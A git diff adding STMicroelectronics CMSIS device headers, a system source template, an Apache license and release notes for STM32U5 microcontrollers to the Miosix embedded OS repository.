+/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S))|| \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : AUTONOMOUS mode ***************************/ +#define IS_UART_AUTONOMOUS_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* OTG FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_HS_NS) || ((INSTANCE) == USB_OTG_HS_S)) + +/******************************* OTG FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_HS_NS) || ((INSTANCE) == USB_OTG_HS_S)) + +/******************************* MDF/ADF Instances ****************************/ +#define IS_MDF_ALL_INSTANCE(INSTANCE) (((INSTANCE) == MDF1_Filter0_NS) || ((INSTANCE) == MDF1_Filter0_S) || \ + ((INSTANCE) == MDF1_Filter1_NS) || ((INSTANCE) == MDF1_Filter1_S) || \ + ((INSTANCE) == MDF1_Filter2_NS) || ((INSTANCE) == MDF1_Filter2_S) || \ + ((INSTANCE) == MDF1_Filter3_NS) || ((INSTANCE) == MDF1_Filter3_S) || \ + ((INSTANCE) == MDF1_Filter4_NS) || ((INSTANCE) == MDF1_Filter4_S) || \ + ((INSTANCE) == MDF1_Filter5_NS) || ((INSTANCE) == MDF1_Filter5_S) || \ + ((INSTANCE) == ADF1_Filter0_NS) || ((INSTANCE) == ADF1_Filter0_S)) + +/******************************* GPU2D Instances *******************************/ +#define IS_GPU2D_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == GPU2D_BASE_NS) || ((__INSTANCE__) == GPU2D_BASE_S)) + +/****************************** JPEG Instances ********************************/ +#define IS_JPEG_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == JPEG_NS) || ((__INSTANCE__) == JPEG_S)) + +/****************************** GFXTIM Instances ********************************/ +#define IS_GFXTIM_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == GFXTIM_NS) || ((__INSTANCE__) == GFXTIM_S)) + + +/** @} */ /* End of group STM32U5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32U5G9xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32U5G9xx_H */ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5xx.h new file mode 100644 index 000000000..70d1922d5 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5xx.h @@ -0,0 +1,268 @@ +/** + ****************************************************************************** + * @file stm32u5xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5xx Device Peripheral Access Layer Header File. + * + * The file is the unique include file that the application programmer + * is using in the C source code, usually in main.c. This file contains: + * - Configuration section that allows to select: + * - The STM32U5xx device used in the target application + * - To use or not the peripheral's drivers in application code(i.e. + * code will be based on direct access to peripheral's registers + * rather than drivers API), this option is controlled by + * "#define USE_HAL_DRIVER" + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2021 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32u5xx + * @{ + */ + +#ifndef STM32U5xx_H +#define STM32U5xx_H + +#ifdef __cplusplus + extern "C" { +#endif /* __cplusplus */ + +/** @addtogroup Library_configuration_section + * @{ + */ + +/** + * @brief STM32 Family + */ +#if !defined (STM32U5) +#define STM32U5 +#endif /* STM32U5 */ + +/* Uncomment the line below according to the target STM32U5 device used in your + application + */ + +#if !defined (STM32U575xx) && !defined (STM32U585xx) \ + && !defined (STM32U595xx) && !defined (STM32U599xx) \ + && !defined (STM32U5A5xx) && !defined (STM32U5A9xx) \ + && !defined (STM32U5F7xx) && !defined (STM32U5G7xx) \ + && !defined (STM32U5F9xx) && !defined (STM32U5G9xx) \ + && !defined (STM32U535xx) && !defined (STM32U545xx) \ + /* #define STM32U575xx */ /*!< STM32U575CIU6 STM32U575CIT6 STM32U575RIT6 STM32U575VIT6 STM32U575ZIT6 STM32U575QII6 STM32U575AII6 STM32U575CIU6Q STM32U575CIT6Q STM32U575OIY6Q STM32U575VIT6Q STM32U575QII6Q STM32U575ZIT6Q STM32U575RIT6Q STM32U575CGU6 STM32U575CGT6 STM32U575RGT6 STM32U575VGT6 STM32U575ZGT6 STM32U575QGI6 STM32U575AGI6 STM32U575CGU6Q STM32U575CGT6Q STM32U575OGY6Q STM32U575VGT6Q STM32U575QGI6Q STM32U575ZGT6Q STM32U575RGT6Q STM32U575AGI6Q Devices */ + /* #define STM32U585xx */ /*!< STM32U585CIU6 STM32U585CIT6 STM32U585RIT6 STM32U585VIT6 STM32U585AII6 STM32U585QII6 STM32U585ZIT6 STM32U585OIY6Q STM32U585VIT6Q STM32U585QEI6Q STM32U585RIT6Q STM32U585AII6Q STM32U585CIU6Q STM32U585CIT6Q STM32U585ZET6Q Devices */ + /* #define STM32U595xx */ /*!< STM32U595AJH6 STM32U595ZJT6 STM32U595QJI6 STM32U595VJT6 STM32U595RJT6 STM32U595AJH6Q STM32U595ZJY6QTR STM32U595ZJT6Q STM32U595QJI6Q STM32U595VJT6Q STM32U595RJT6Q STM32U595AIH6 STM32U595ZIT6 STM32U595QII6 STM32U595VIT6 STM32U595RIT6 STM32U595AIH6Q STM32U595ZIY6QTR STM32U595ZIT6Q STM32U595QII6Q STM32U595VIT6Q STM32U595RIT6Q Devices */ + /* #define STM32U599xx */ /*!< STM32U599VJT6 STM32U599NJH6Q STM32U599BJY6QTR STM32U599ZJY6QTR STM32U599ZJT6Q STM32U599VJT6Q STM32U599NIH6Q STM32U599ZIY6QTR STM32U599ZIT6Q STM32U599VIT6Q Devices */ + /* #define STM32U5A5xx */ /*!< STM32U5A5AJH6 STM32U5A5ZJT6 STM32U5A5QJI6 STM32U5A5VJT6 STM32U5A5RJT6 STM32U5A5AJH6Q STM32U5A5ZJY6QTR STM32U5A5ZJT6Q STM32U5A5QJI6Q STM32U5A5VJT6Q STM32U5A5RJT6Q STM32U5A5QII3Q Devices */ + /* #define STM32U5A9xx */ /*!< STM32U5A9NJH6Q STM32U5A9BJY6QTR STM32U5A9ZJY6QTR STM32U5A9ZJT6Q STM32U5A9VJT6Q Devices */ + /* #define STM32U5F7xx */ /*!< STM32U5F7VJT6Q STM32U5F7VJT6 STM32U5F7VIT6Q STM32U5F7VIT6 Devices */ + /* #define STM32U5G7xx */ /*!< STM32U5G7VJT6Q STM32U5G7VJT6 Devices */ + /* #define STM32U5F9xx */ /*!< STM32U5F9NJH6Q STM32U5F9BJY6QTR STM32U5F9ZJJ6QTR STM32U5F9ZJT6Q STM32U5F9VJT6Q STM32U5F9ZIJ6QTR STM32U5F9ZIT6Q STM32U5F9VIT6Q Devices */ + /* #define STM32U5G9xx */ /*!< STM32U5G9NJH6Q STM32U5G9BJY6QTR STM32U5G9ZJJ6QTR STM32U5G9ZJT6Q STM32U5G9VJT6Q Devices */ + /* #define STM32U535xx */ /*!< STM32U535CET6 STM32U535CEU6 STM32U535RET6 STM32U535REI6 STM32U535VET6 STM32U535VEI6 STM32U535CET6Q STM32U535CEU6Q STM32U535RET6Q STM32U535REI6Q STM32U535VET6Q STM32U535VEI6Q STM32U535NEY6Q STM32U535JEY6Q Devices */ + /* #define STM32U545xx */ /*!< STM32U545CET6 STM32U545CEU6 STM32U545RET6 STM32U545REI6 STM32U545VET6 STM32U545VEI6 STM32U545CET6Q STM32U545CEU6Q STM32U545RET6Q STM32U545REI6Q STM32U545VET6Q STM32U545VEI6Q STM32U545NEY6Q STM32U545JEY6Q Devices */ +#endif + +/* Tip: To avoid modifying this file each time you need to switch between these + devices, you can define the device in your toolchain compiler preprocessor. + */ +#if !defined (USE_HAL_DRIVER) +/** + * @brief Comment the line below if you will not use the peripherals drivers. + In this case, these drivers will not be included and the application code will + be based on direct access to peripherals registers + */ + /*#define USE_HAL_DRIVER */ +#endif /* USE_HAL_DRIVER */ + +/** + * @brief CMSIS Device version number 1.4.2 + */ +#define __STM32U5_CMSIS_VERSION_MAIN (0x01U) /*!< [31:24] main version */ +#define __STM32U5_CMSIS_VERSION_SUB1 (0x04U) /*!< [23:16] sub1 version */ +#define __STM32U5_CMSIS_VERSION_SUB2 (0x02U) /*!< [15:8] sub2 version */ +#define __STM32U5_CMSIS_VERSION_RC (0x00U) /*!< [7:0] release candidate */ +#define __STM32U5_CMSIS_VERSION ((__STM32U5_CMSIS_VERSION_MAIN << 24U)\ + |(__STM32U5_CMSIS_VERSION_SUB1 << 16U)\ + |(__STM32U5_CMSIS_VERSION_SUB2 << 8U )\ + |(__STM32U5_CMSIS_VERSION_RC)) + +/** + * @} + */ + +/** @addtogroup Device_Included + * @{ + */ + +#if defined(STM32U575xx) + #include "stm32u575xx.h" +#elif defined(STM32U585xx) + #include "stm32u585xx.h" +#elif defined(STM32U595xx) + #include "stm32u595xx.h" +#elif defined(STM32U599xx) + #include "stm32u599xx.h" +#elif defined(STM32U5A5xx) + #include "stm32u5a5xx.h" +#elif defined(STM32U5A9xx) + #include "stm32u5a9xx.h" +#elif defined(STM32U5F9xx) + #include "stm32u5f9xx.h" +#elif defined(STM32U5G9xx) + #include "stm32u5g9xx.h" +#elif defined(STM32U5F7xx) + #include "stm32u5f7xx.h" +#elif defined(STM32U5G7xx) + #include "stm32u5g7xx.h" +#elif defined(STM32U535xx) + #include "stm32u535xx.h" +#elif defined(STM32U545xx) + #include "stm32u545xx.h" +#else + #error "Please select first the target STM32U5xx device used in your application (in stm32u5xx.h file)" +#endif + +/** + * @} + */ + +/** @addtogroup Exported_types + * @{ + */ +typedef enum +{ + RESET = 0, + SET = !RESET +} FlagStatus, ITStatus; + +typedef enum +{ + DISABLE = 0, + ENABLE = !DISABLE +} FunctionalState; +#define IS_FUNCTIONAL_STATE(STATE) (((STATE) == DISABLE) || ((STATE) == ENABLE)) + +typedef enum +{ + SUCCESS = 0, + ERROR = !SUCCESS +} ErrorStatus; + +/** + * @} + */ + + +/** @addtogroup Exported_macros + * @{ + */ +#define SET_BIT(REG, BIT) ((REG) |= (BIT)) + +#define CLEAR_BIT(REG, BIT) ((REG) &= ~(BIT)) + +#define READ_BIT(REG, BIT) ((REG) & (BIT)) + +#define CLEAR_REG(REG) ((REG) = (0x0)) + +#define WRITE_REG(REG, VAL) ((REG) = (VAL)) + +#define READ_REG(REG) ((REG)) + +#define MODIFY_REG(REG, CLEARMASK, SETMASK) WRITE_REG((REG), (((READ_REG(REG)) & (~(CLEARMASK))) | (SETMASK))) + +/* Use of CMSIS compiler intrinsics for register exclusive access */ +/* Atomic 32-bit register access macro to set one or several bits */ +#define ATOMIC_SET_BIT(REG, BIT) \ + do { \ + uint32_t val; \ + do { \ + val = __LDREXW((__IO uint32_t *)&(REG)) | (BIT); \ + } while ((__STREXW(val,(__IO uint32_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 32-bit register access macro to clear one or several bits */ +#define ATOMIC_CLEAR_BIT(REG, BIT) \ + do { \ + uint32_t val; \ + do { \ + val = __LDREXW((__IO uint32_t *)&(REG)) & ~(BIT); \ + } while ((__STREXW(val,(__IO uint32_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 32-bit register access macro to clear and set one or several bits */ +#define ATOMIC_MODIFY_REG(REG, CLEARMSK, SETMASK) \ + do { \ + uint32_t val; \ + do { \ + val = (__LDREXW((__IO uint32_t *)&(REG)) & ~(CLEARMSK)) | (SETMASK); \ + } while ((__STREXW(val,(__IO uint32_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 16-bit register access macro to set one or several bits */ +#define ATOMIC_SETH_BIT(REG, BIT) \ + do { \ + uint16_t val; \ + do { \ + val = __LDREXH((__IO uint16_t *)&(REG)) | (BIT); \ + } while ((__STREXH(val,(__IO uint16_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 16-bit register access macro to clear one or several bits */ +#define ATOMIC_CLEARH_BIT(REG, BIT) \ + do { \ + uint16_t val; \ + do { \ + val = __LDREXH((__IO uint16_t *)&(REG)) & ~(BIT); \ + } while ((__STREXH(val,(__IO uint16_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 16-bit register access macro to clear and set one or several bits */ +#define ATOMIC_MODIFYH_REG(REG, CLEARMSK, SETMASK) \ + do { \ + uint16_t val; \ + do { \ + val = (__LDREXH((__IO uint16_t *)&(REG)) & ~(CLEARMSK)) | (SETMASK); \ + } while ((__STREXH(val,(__IO uint16_t *)&(REG))) != 0U); \ + } while(0) + +#define POSITION_VAL(VAL) (__CLZ(__RBIT(VAL))) + + +/** + * @} + */ + +#if defined (USE_HAL_DRIVER) + #include "stm32u5xx_hal.h" +#endif /* USE_HAL_DRIVER */ + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif /* STM32U5xx_H */ +/** + * @} + */ + +/** + * @} + */ + + + + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/system_stm32u5xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/system_stm32u5xx.h new file mode 100644 index 000000000..811a27024 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/system_stm32u5xx.h @@ -0,0 +1,109 @@ +/** + ****************************************************************************** + * @file system_stm32u5xx.h + * @author MCD Application Team + * @brief CMSIS Cortex-M33 Device System Source File for STM32U5xx devices. + ****************************************************************************** + * @attention + * + * Copyright (c) 2021 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32u5xx_system + * @{ + */ + +#ifndef SYSTEM_STM32U5XX_H +#define SYSTEM_STM32U5XX_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup STM32U5xx_System_Includes + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32U5xx_System_Exported_Variables + * @{ + */ + /* The SystemCoreClock variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetSysClockFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ +extern uint32_t SystemCoreClock; /*!< System Clock Frequency (Core Clock) */ + +extern const uint8_t AHBPrescTable[16]; /*!< AHB prescalers table values */ +extern const uint8_t APBPrescTable[8]; /*!< APB prescalers table values */ +extern const uint32_t MSIRangeTable[16]; /*!< MSI ranges table values */ + +/** + * @} + */ + + +/** @addtogroup STM32U5xx_System_Exported_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system. + * + * Initialize the System and update the SystemCoreClock variable. + */ +extern void SystemInit (void); + + +/** + * @brief Update SystemCoreClock variable. + * + * Updates the SystemCoreClock with current core Clock retrieved from cpu registers. + */ +extern void SystemCoreClockUpdate (void); + + +/** + * @brief Update SystemCoreClock variable from secure application and return its value + * when security is implemented in the system (Non-secure callable function). + * + * Returns the SystemCoreClock value with current core Clock retrieved from cpu registers. + */ +extern uint32_t SECURE_SystemCoreClockUpdate(void); + +/** + * @} + */ + +#ifdef __cplusplus +} +#endif + +#endif /* SYSTEM_STM32U5XX_H */ + +/** + * @} + */ + +/** + * @} + */ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/LICENSE.md b/miosix/arch/CMSIS/Device/ST/STM32U5xx/LICENSE.md new file mode 100644 index 000000000..d1a7d01b0 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/LICENSE.md @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. 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+
+
+

Release Notes for  STM32U5xx CMSIS

+

Copyright © 2021 STMicroelectronics
+

+ +
+
+
+

Update History

+
+ +
+

Main Changes

+
    +
  • General updates to fix known defects and implementation enhancements.
    • +
  • Remove the internal CRC registers from defined CMSIS CRC structure (CRC_TypeDef).
    • +
  • Allow redefinition of the macro ‘VECT_TAB_OFFSET’ externally from the IDE, makefile, or command line.
    • +
  • Align the JPEG base address in Secure mode with the one defined for Non-Secure mode.
    • +
  • Add specific gcc linker files for STM32U5A5xx devices.
    • +
  • Increase the total SRAM size in STM32U5G9 linker file template to include SRAM6 size.
    • +
+

Backward Compatibility

+
    +
  • N/A
    • +
+
+
+
+ +
+

Main Changes

+
    +
  • General updates to fix known defects and implementation enhancements.
    • +
  • Fix TAMP_CR3_ITAMP7NOER bit definition to be aligned with reference manual.
    • +
  • Add missing USB_OTG_GINTSTS_RSTDET bit definition.
    • +
  • Align USB OTG bit definition with reference manual.
    • +
+

Backward Compatibility

+
    +
  • N/A
    • +
+
+
+
+ +
+

Main Changes

+

CMSIS Device Maintenance Release version of bits and registers definition aligned with RM0456 (STM32U5 reference manual)

+
    +
  • Add Bits definition for RNG_NSCR register for RNG noise source control
    • +
  • Rename RTC_CR_ALRAOCLR to RTC_CR_ALRAFCLR definition
    • +
  • Rename RTC_CR_ALRBOCLR to RTC_CR_ALRBFCLR definition
    • +
  • Remove SYSCFG_UCPD_CC1ENRXFILTER and SYSCFG_UCPD_CC2ENRXFILTER defines
    • +
  • Remove COMP2 dependency in “stm32u545xx.h†and “stm32u545xx.h†files by removing TIM1_AF1_BKCMP2E, TIM1_AF1_BKCMP2P, TIM1_AF2_BK2CMP2E and TIM1_AF2_BK2CMP2P defines
    • +
  • Remove PWR_PDCRI register in “stm32u545xx.h†and “stm32u545xx.h†files by removing PWR_PDCRI_PD0, PWR_PDCRI_PD1, PWR_PDCRI_PD2, PWR_PDCRI_PD3, PWR_PDCRI_PD4, PWR_PDCRI_PD5, PWR_PDCRI_PD6 and PWR_PDCRI_PD0 defines
    • +
  • Update partition_stm32u5XXxx.h files headers
    • +
  • Fix wrong declaration of g_pfnVectors size in GCC startup_stm32u5XXxx.s files
    • +
  • Update linker files to properly mark sections readonly for GCC12
    • +
+

Backward Compatibility

+
    +
  • N/A
    • +
+
+
+
+ +
+

Main Changes

+

CMSIS Device Official Release version of bits and registers definition aligned with RM0456 (STM32U5 reference manual)

+
    +
  • Update STM32U5A5xx devices list with STM32U5A5QII3Q under “stm32u5xx.h†file
    • +
+

Backward Compatibility

+
    +
  • N/A
    • +
+
+
+
+ +
+

Main Changes

+

CMSIS Device Official Release version of bits and registers definition aligned with RM0456 (STM32U5 reference manual)

+
    +
  • Support of new STM32U5F9xx, STM32U5G9xx, STM32U5F7xx and STM32U5G7xx devices: +
      +
    • Add “stm32u5f9xx.hâ€, “stm32u5g9xx.hâ€, “stm32u5f7xx.h†and “stm32u5g7xx.h†files
      • +
    • Add startup files “startup_stm32u5f9xx.sâ€, “startup_stm32u5g9xx.sâ€, “startup_stm32u5f7xx.s†and “startup_stm32u5g7xx.s†for EWARM, STM32CubeIDE and MDK-ARM toolchains
      • +
    • Add linker files for EWARM and STM32CubeIDE toolchains of STM32U5F9xx/STM32U5G9xx/STM32U5F7xx/STM32U5G7xx devices
      • +
    • +
+

Backward Compatibility

+
    +
  • N/A
    • +
+
+
+
+ +
+

Main Changes

+

CMSIS Device Official Release version of bits and registers definition aligned with RM0456 (STM32U5 reference manual)

+
    +
  • Support of stm32u535xx and stm32u545xx devices: +
      +
    • Add “stm32u535xx.h†and “stm32u545xx.h†files
      • +
    • Add startup files “startup_stm32u535xx.s†and “startup_stm32u545xx.s†for EWARM and STM32CUBEIDE toolchains
      • +
    • Add EWARM and STM32CUBEIDE linker files for all devices for legacy and for TrustZone based application
      • +
    • +

  • Registers and bit field definitions updates:

    +
      +
    • Add USB Dual Role Device FS Endpoint registers: +
        +
      • Add Bits definition for USB_DRD_CNTR register
        • +
      • Add Bits definition for USB_DRD_ISTR register
        • +
      • Add Bits definition for USB_DRD_FNR register
        • +
      • Add Bits definition for USB_DRD_DADDR register
        • +
      • Add Bit definition for USB_DRD_BTABLE register
        • +
      • Add Bit definition for LPMCSR register
        • +
      • Add Bits definition for USB_DRD_BCDR register
        • +
      • Add Bits definition for USB_DRD_CHEP register
        • +
      • +
    • Add USB_IRQn interrupt
      • +
    • Add USB_OTG_GCCFG_PULLDOWNEN define
      • +
    • Add LSECSSD and MSI_PLL_UNLOCK global interrupts
      • +
    • Add USART_DMAREQUESTS_SW_WA define
      • +
    • Add DBGMCU_APB1FZR2_DBG_I2C5_STOP and DBGMCU_APB1FZR2_DBG_I2C6_STOP defines
      • +
    • Remove DBGMCU_APB1FZR2_DBG_FDCAN_STOP define
      • +
    • Add AES_IER_RNGEIE AES_ICR_RNGEIF and AES_ISR_RNGEIF defines
      • +
    • Add DMA2D_TRIGGER_SUPPORT define
      • +
    • Rename Bit definition for EXTI_SECENR1 register to EXTI_SECCFGR1 register
      • +
    • Rename Bit definition for EXTI_PRIVENR1 register to EXTI_PRIVCFGR1 register
      • +
    • Add Bit definition for EXTI_LOCKR register
      • +
    • Add EXTI_RTSR1_RT25, EXTI_FTSR1_FT25, EXTI_SWIER1_SWI25, EXTI_RPR1_RPIF25, EXTI_FPR1_FPIF25, EXTI_IMR1_IM25 and EXTI_EMR1_EM25 defines
      • +
    • Add COMP_WINDOW_MODE_SUPPORT define
      • +
    • Add Bit definition for SYSCFG_OTGHSPHYTUNER2 register
      • +
    • Add SYSCFG_CFGR1_SRAMCACHED define
      • +
    • Add UCPD configuration register 3
      • +
    • Add RCC_APB2RSTR_USBRST define
      • +
    • Add RCC_APB2ENR_USBEN define
      • +
    • Add RCC_APB2SMENR_USBSMEN define
      • +
    • Add IS_SPI_GRP1_INSTANCE and IS_SPI_GRP2_INSTANCE macros
      • +
    • Add IS_COMP_ALL_INSTANCE macro
      • +
    • Add IS_HCD_ALL_INSTANCE and IS_PCD_ALL_INSTANCE macro
      • +
    • Add PWR_CR1_FORCE_USBPWR and PWR_VOSR_VDD11USBDIS defines
      • +
    • Rename OCTOSPI_CR_DQM to XSPI_CR_DMM
      • +
    • Rename OCTOSPI_CR_FSEL to XSPI_OCTOSPI_CR_MSEL
      • +
    • Rename ADC4_PW_AUTOFF to ADC4_PWRR_AUTOFF
      • +
    • Rename ADC4_PW_DPD to ADC4_PWRR_DPD
      • +
    • Rename ADC4_PW_VREFPROT to ADC4_PWRR_VREFPROT
      • +
    • Rename ADC4_PW_VREFSECSMP to ADC4_PWRR_VREFSECSMP
      • +
    • +
+

Backward Compatibility

+
    +
  • N/A
    • +
+
+
+
+ +
+

Main Changes

+
    +
  • CMSIS Device Maintenance Release version of bits and registers definition aligned with RM0456 (STM32U5 reference manual) +
      +
    • Add the support of STM32U595xx, STM32U5A5xx, STM32U599xx and STM32U5A9xx devices
      • +
    • Define XSPI_TypeDef as alias to OCTOSPI_TypeDef and HSPI_TypeDef
      • +
    • Define XSPIM_TypeDef as alias to OCTOSPIM_TypeDef
      • +
    • Update XSPI bit definition to alias OCTOSPI and HSPI bits
      • +
    • Add OPAMP12_COMMON_NS, OPAMP12_COMMON_S, OPAMP12_COMMON, OPAMP12_COMMON_BASE defines
      • +
    • Update OPAMP_Common_TypeDef to align with reference manual
      • +
    • Add the SRAM4 memory definition in all STM32CubeIDE flashloader files
      • +
    • Update the flash size define to support: +
        +
      • STM32U575/STM32U585: 2Mbytes flash devices
        • +
      • STM32U595/STM32U5A5/STM32U599/STM32U5A9: 4Mbytes flash devices
        • +
      • +
    • Rename PVD_AVD_IRQHandler to PVD_PVM_IRQHandler in all start-up files
      • +
    • Rename RCC_AHB2RSTR1_ADC1RST to RCC_AHB2RSTR1_ADC12RST
      • +
    • Rename RCC_AHB2ENR1_ADC1EN to RCC_AHB2ENR1_ADC12EN
      • +
    • Rename RCC_AHB2SMENR1_ADC1SMEN to RCC_AHB2SMENR1_ADC12SMEN
      • +
    • Rename RCC_CCIPR1_CLK48MSEL to RCC_CCIPR1_ICLKSEL
      • +
    • Rename RCC_SECCFGR_CLK48MSEC to RCC_SECCFGR_ICLKSEC
      • +
    • Add TIM3 and TIM4 are missing in IS_TIM_32B_COUNTER_INSTANCE macro definition
      • +
    • +
+
+
+
+ +
+

Main Changes

+
    +
  • Rename OTG_FS_BASE_NS to USB_OTG_FS_BASE_NS define
    • +
  • Rename OTG_FS_BASE_S to USB_OTG_FS_BASE_S define
    • +
  • Add LSI_STARTUP_TIME define
    • +
  • Fix wrong IRQn name in partition_stm32u5xx.h
    • +
+
+
+
+ +
+

Main Changes

+
    +
  • First official release version of bits and registers definition aligned with RM0456 (STM32U5 reference manual)
    • +
+
+
+
+
+
+For complete documentation on STM32 Microcontrollers , visit: www.st.com/stm32 +
+ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Source/Templates/system_stm32u5xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Source/Templates/system_stm32u5xx.cpp new file mode 100644 index 000000000..45d614a85 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Source/Templates/system_stm32u5xx.cpp @@ -0,0 +1,360 @@ +/** + ****************************************************************************** + * @file system_stm32u5xx.c + * @author MCD Application Team + * @brief CMSIS Cortex-M33 Device Peripheral Access Layer System Source File + * + * This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32u5xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * After each device reset the MSI (4 MHz) is used as system clock source. + * Then SystemInit() function is called, in "startup_stm32u5xx.s" file, to + * configure the system clock before to branch to main program. + * + * This file configures the system clock as follows: + *============================================================================= + *----------------------------------------------------------------------------- + * System Clock source | MSI + *----------------------------------------------------------------------------- + * SYSCLK(Hz) | 4000000 + *----------------------------------------------------------------------------- + * HCLK(Hz) | 4000000 + *----------------------------------------------------------------------------- + * AHB Prescaler | 1 + *----------------------------------------------------------------------------- + * APB1 Prescaler | 1 + *----------------------------------------------------------------------------- + * APB2 Prescaler | 1 + *----------------------------------------------------------------------------- + * APB3 Prescaler | 1 + *----------------------------------------------------------------------------- + * PLL1_SRC | No clock + *----------------------------------------------------------------------------- + * PLL1_M | 1 + *----------------------------------------------------------------------------- + * PLL1_N | 8 + *----------------------------------------------------------------------------- + * PLL1_P | 7 + *----------------------------------------------------------------------------- + * PLL1_Q | 2 + *----------------------------------------------------------------------------- + * PLL1_R | 2 + *----------------------------------------------------------------------------- + * PLL2_SRC | NA + *----------------------------------------------------------------------------- + * PLL2_M | NA + *----------------------------------------------------------------------------- + * PLL2_N | NA + *----------------------------------------------------------------------------- + * PLL2_P | NA + *----------------------------------------------------------------------------- + * PLL2_Q | NA + *----------------------------------------------------------------------------- + * PLL2_R | NA + *----------------------------------------------------------------------------- + * PLL3_SRC | NA + *----------------------------------------------------------------------------- + * PLL3_M | NA + *----------------------------------------------------------------------------- + * PLL3_N | NA + *----------------------------------------------------------------------------- + * PLL3_P | NA + *----------------------------------------------------------------------------- + * Require 48MHz for USB FS, | Disabled + * SDIO and RNG clock | + *----------------------------------------------------------------------------- + *============================================================================= + ****************************************************************************** + * @attention + * + * Copyright (c) 2021 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + 